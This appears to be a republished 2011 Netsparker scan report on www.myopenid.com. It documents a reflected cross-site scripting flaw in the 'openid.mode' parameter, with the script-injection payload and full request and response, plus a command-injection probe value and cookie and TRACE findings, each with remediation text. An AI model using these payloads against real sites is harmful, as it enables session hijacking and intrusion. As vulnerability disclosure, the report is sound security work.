XSS, Cross Site Scripting in www.myopenid.com, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARY
Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search
XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Private Reporting of Security Research is preferred for Online Service ProvidersLoading
Netsparker - Scan Report Summary
TARGET URL
http://www.myopenid.com/server?openid.ns=http...
SCAN DATE
7/14/2011 1:42:45 PM
REPORT DATE
7/19/2011 2:58:58 PM
SCAN DURATION
00:02:03
Total Requests
Average Speed
req/sec.
6
identified
6
confirmed
0
critical
1
informational
SCAN SETTINGS
Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled
VULNERABILITIES
Vulnerabilities
VULNERABILITY SUMMARY
Vulnerability Summary
Cross-site Scripting
Cross-site Scripting
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript ) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
Parameters
Parameter
Type
Value
openid.ns
GET
http://specs.openid.net/auth/2.0
openid.mode
GET
'"--></style></script><script>alert(0x000242)</script>
openid.assoc_handle
GET
{HMAC-SHA1}{4e1aa111}{rGO58w==}
openid.claimed_id
GET
http://specs.openid.net/auth/2.0/identifier_select
openid.identity
GET
http://specs.openid.net/auth/2.0/identifier_select
openid.return_to
GET
https://login.janrain.com/openid/finish?discovery_token=pd%3A61b231b12f560e20
openid.realm
GET
https://*.janrain.com/
openid.ns.sreg
GET
http://openid.net/extensions/sreg/1.1
openid.sreg.policy_url
GET
https://login.janrain.com/openid/sreg_policy
openid.sreg.optional
GET
nickname,email,fullname
Request
GET /server?openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.mode='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000242)%3C/script%3E&openid.assoc_handle=%7BHMAC-SHA1%7D%7B4e1aa111%7D%7BrGO58w%3D%3D%7D&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.return_to=https%3A%2F%2Flogin.janrain.com%2Fopenid%2Ffinish%3Fdiscovery_token%3Dpd%253A61b231b12f560e20&openid.realm=https%3A%2F%2F%2A.janrain.com%2F&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1&openid.sreg.policy_url=https%3A%2F%2Flogin.janrain.com%2Fopenid%2Fsreg_policy&openid.sreg.optional=nickname%2Cemail%2Cfullname HTTP/1.1
Response
HTTP/1.1 400 Bad Request
Date: Thu, 14 Jul 2011 18:43:21 GMT
Server: Apache/2.2
Content-Length: 4383
Content-Type: text/html; charset=UTF-8
Set-Cookie: ephemeral_session_id=97b786bfb6263417c4ae656d39d2b94b57dc01aaf4de5c14b25ec23c5a1585b3; domain=myopenid.com; path=/,browser_id=d9907952e476f782cedc4e0ab37853e53ca8900cba136870db54eadd246684fd; domain=myopenid.com; path=/,session_id=0a3db9d048facd4e086f425d95a6215fcabe60674903c53c809f6b69b960b400; domain=myopenid.com; path=/; expires=Fri, 13-Jul-2012 18:43:21 GMT
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html> <head > <base href="http://www.myopenid.com/" /> <title>Error processing OpenID request</title><link rel="shortcut icon" href="http://www.myopenid.com/favicon.ico?version=1" /><link rel="icon" href="http://www.myopenid.com/favicon.ico?version=1" /><link rel="seatbelt.config" type="application/xml" href="https://www.myopenid.com/verisign_plugin_config" /><link rel="stylesheet" href="/stylesheets/screen.css?version=5" type="text/css" media="screen" /><link rel="stylesheet" href="/stylesheets/print.css?version=1" type="text/css" media="print" /><!--[if IE]><link rel="Stylesheet" href="/stylesheets/screen_ie.css?version=2" type="text/css" media="screen" /><![endif]--><!--[if lt IE 6]><link rel="Stylesheet" href="/stylesheets/screen_ie5.css?version=1" type="text/css" media="screen" /><![endif]--> </head> <body> <script type="text/javascript"> if (top != self) top.location.href = 'http://www.myopenid.com/server?openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.mode=\x27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000242)%3C/script%3E&openid.assoc_handle=%7BHMAC-SHA1%7D%7B4e1aa111%7D%7BrGO58w%3D%3D%7D&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.return_to=https%3A%2F%2Flogin.janrain.com%2Fopenid%2Ffinish%3Fdiscovery_token%3Dpd%253A61b231b12f560e20&openid.realm=https%3A%2F%2F%2A.janrain.com%2F&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1&openid.sreg.policy_url=https%3A%2F%2Flogin.janrain.com%2Fopenid%2Fsreg_policy&openid.sreg.optional=nickname%2Cemail%2Cfullname'; </script><p class="skip"><a href="#content">Skip to Content</a></p><p class="skip"><a href="#navigation">Skip to Navigation</a></p><div id="container"> <div id="header"> <h6><a href="http://www.myopenid.com/">myOpenID - The free, secure OpenID server</a></h6> </div> <div id="columns" class="ca"> <div id="content"> <div id="personal-icon"> <p id="personal-icon-container"> <a href="https://www.myopenid.com/set_cookie_image">Your Personal Icon</a> </p> </div> <div style="position: absolute; margin-bottom: 1em;"><h1><span> </span></h1></div><h1 style="margin-bottom: 2em;"> </h1> <p>This request had a bad OpenID mode. The requested mode was <code>'"--></style></script><script>netsparker(0x000242)</script></code>.Use your browser's back button to return to the requesting site and inform them of this problem.</p><p>Please note that myOpenID is a free product that we are unable to provide support for at this time.</p> </div> <div id="navigation"> <h2> Options </h2> <ul> <li id="navigation-home"><a href="http://www.myopenid.com/">Home</a></li> <li><a href="https://www.myopenid.com/signin">Sign In</a></li> <li><a href="https://www.myopenid.com/signup">Sign Up</a></li> <li><a href="https://www.myopenid.com/account_recover_initiate">Recover Account</a></li> <li><a href="https://www.myopenid.com/directory">OpenID Site Directory</a></li> </ul> </div> </div> <div id="footer"> <p class="fl"> <a href="https://www.myopenid.com/help">Help</a> | <a href="https://www.myopenid.com/privacy">Privacy</a> | Language: <a href="https://www.myopenid.com/set_language">Not set</a></p><p class="fr"> <a href="http://blog.janrain.com/">Blog</a> | <a href="http://janrain.com/background/">About Us</a> | © 2008 <a href="http://janrain.com/">Janrain, Inc.</a> <br /> myOpenID™ and the myOpenID™ website are trademarks of Janrain, Inc.</p> </div></div><script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript">if (window._gat) { var pageTracker = _gat._getTracker('UA-3697105-3'); pageTracker._initData(); pageTracker._trackPageview();}</script> </body></html>
Cookie Not Marked As Secure
Cookie Not Marked As Secure
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (
Man in the middle ) attack.
Impact
This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie ) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.
Actions to Take
See the remedy for solution.
Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure. ))
Mark all cookies used within the application as secure.
Required Skills for Successful Exploitation
To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to ) to a system between the victim and the web server.
ephemeral_session_id
Request
GET /signin HTTP/1.1
Response
HTTP/1.0 302 Found
Internal Server Error
Internal Server Error
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.
Impact
The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.
Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
Parameters
Parameter
Type
Value
openid.ns
GET
"& SET /A 0xFFF9999-2 &
openid.mode
GET
checkid_setup908ed<script>alert(document.location)</script>af76017bd36
openid.assoc_handle
GET
{HMAC-SHA1}{4e1aa111}{rGO58w==}
openid.claimed_id
GET
http://specs.openid.net/auth/2.0/identifier_select
openid.identity
GET
http://specs.openid.net/auth/2.0/identifier_select
openid.return_to
GET
https://login.janrain.com/openid/finish?discovery_token=pd%3A61b231b12f560e20
openid.realm
GET
https://*.janrain.com/
openid.ns.sreg
GET
http://openid.net/extensions/sreg/1.1
openid.sreg.policy_url
GET
https://login.janrain.com/openid/sreg_policy
openid.sreg.optional
GET
nickname,email,fullname
Request
GET /server?openid.ns=%22%26%20SET%20%2FA%200xFFF9999-2%20%26&openid.mode=checkid_setup908ed%3Cscript%3Ealert%28document.location%29%3C/script%3Eaf76017bd36&openid.assoc_handle=%7BHMAC-SHA1%7D%7B4e1aa111%7D%7BrGO58w%3D%3D%7D&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.return_to=https%3A%2F%2Flogin.janrain.com%2Fopenid%2Ffinish%3Fdiscovery_token%3Dpd%253A61b231b12f560e20&openid.realm=https%3A%2F%2F%2A.janrain.com%2F&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1&openid.sreg.policy_url=https%3A%2F%2Flogin.janrain.com%2Fopenid%2Fsreg_policy&openid.sreg.optional=nickname%2Cemail%2Cfullname HTTP/1.1
Response
HTTP/1.1 500 Internal Server Error
Date: Thu, 14 Jul 2011 18:42:52 GMT
Server: Apache/2.2
Content-Length: 3418
Content-Type: text/html; charset=UTF-8
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html> <head > <base href="http://www.myopenid.com/" /> <title>Server Error</title><link rel="shortcut icon" href="http://www.myopenid.com/favicon.ico?version=1" /><link rel="icon" href="http://www.myopenid.com/favicon.ico?version=1" /><link rel="seatbelt.config" type="application/xml" href="https://www.myopenid.com/verisign_plugin_config" /><link rel="stylesheet" href="/stylesheets/screen.css?version=5" type="text/css" media="screen" /><link rel="stylesheet" href="/stylesheets/print.css?version=1" type="text/css" media="print" /><!--[if IE]><link rel="Stylesheet" href="/stylesheets/screen_ie.css?version=2" type="text/css" media="screen" /><![endif]--><!--[if lt IE 6]><link rel="Stylesheet" href="/stylesheets/screen_ie5.css?version=1" type="text/css" media="screen" /><![endif]--> </head> <body><p class="skip"><a href="#content">Skip to Content</a></p><p class="skip"><a href="#navigation">Skip to Navigation</a></p><div id="container"> <div id="header"> <h6><a href="http://www.myopenid.com/">myOpenID - The free, secure OpenID server</a></h6> </div> <div id="columns" class="ca"> <div id="content"> <div id="personal-icon"> <p id="personal-icon-container"> <a href="https://www.myopenid.com/set_cookie_image">Your Personal Icon</a> </p> </div> <div style="position: absolute; margin-bottom: 1em;"><h1><span> </span></h1></div><h1 style="margin-bottom: 2em;"> </h1> <p>An error has occurred while attempting to fulfill your request.</p>A log of this issue has been sent to the software engineering team, and they will address it shortly.<p>Please note that myOpenID is a free product that we are unable to provide support for at this time.</p> </div> <div id="navigation"> <h2> Options </h2> <ul> <li id="navigation-home"><a href="http://www.myopenid.com/">Home</a></li> <li><a href="https://www.myopenid.com/signin">Sign In</a></li> <li><a href="https://www.myopenid.com/signup">Sign Up</a></li> <li><a href="https://www.myopenid.com/account_recover_initiate">Recover Account</a></li> <li><a href="https://www.myopenid.com/directory">OpenID Site Directory</a></li> </ul> </div> </div> <div id="footer"> <p class="fl"> <a href="https://www.myopenid.com/help">Help</a> | <a href="https://www.myopenid.com/privacy">Privacy</a> | Language: <a href="https://www.myopenid.com/set_language">Not set</a></p><p class="fr"> <a href="http://blog.janrain.com/">Blog</a> | <a href="http://janrain.com/background/">About Us</a> | © 2008 <a href="http://janrain.com/">Janrain, Inc.</a> <br /> myOpenID™ and the myOpenID™ website are trademarks of Janrain, Inc.</p> </div></div><script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript">if (window._gat) { var pageTracker = _gat._getTracker('UA-3697105-3'); pageTracker._initData(); pageTracker._trackPageview();}</script> </body></html>
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as
XSS Tunnel to bypass HTTPOnly protection.
External References
ephemeral_session_id
Request
GET /signin HTTP/1.1
Response
HTTP/1.0 302 Found
TRACE / TRACK Identified
TRACE / TRACK Identified
Netsparker identified that the TRACE/TRACK method is allowed.
Impact
If the application is vulnerable to Cross-site Scripting and uses Http-Only Cookies then an attacker can bypass the Http-Only cookies limitation and read the cookies in an XSS attack.
Disable this method in all production systems. Even though the application is not vulnerable to Cross-site Scripting a debugging feature such as TRACE/TRACK should not be required in a production system and therefore should be disabled.
External References
Request
TRACE /server?openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.mode=checkid_setup908ed%3Cscript%3Ealert%28document.location%29%3C/script%3Eaf76017bd36&openid.assoc_handle=%7BHMAC-SHA1%7D%7B4e1aa111%7D%7BrGO58w%3D%3D%7D&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.return_to=https%3A%2F%2Flogin.janrain.com%2Fopenid%2Ffinish%3Fdiscovery_token%3Dpd%253A61b231b12f560e20&openid.realm=https%3A%2F%2F%2A.janrain.com%2F&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1&openid.sreg.policy_url=https%3A%2F%2Flogin.janrain.com%2Fopenid%2Fsreg_policy&openid.sreg.optional=nickname%2Cemail%2Cfullname HTTP/1.1
Response
HTTP/1.1 200 OK
Forbidden Resource
Forbidden Resource
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.
Impact
There is no impact resulting from this issue.
Request
GET /stylesheets/ HTTP/1.1
Response
HTTP/1.1 403 Forbidden
Date: Thu, 14 Jul 2011 18:42:45 GMT
Server: Apache/2.2
Content-Length: 284
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /stylesheets/on this server.</p><hr><address>Apache/2.2 Server at www.myopenid.com Port 80</address></body></html>
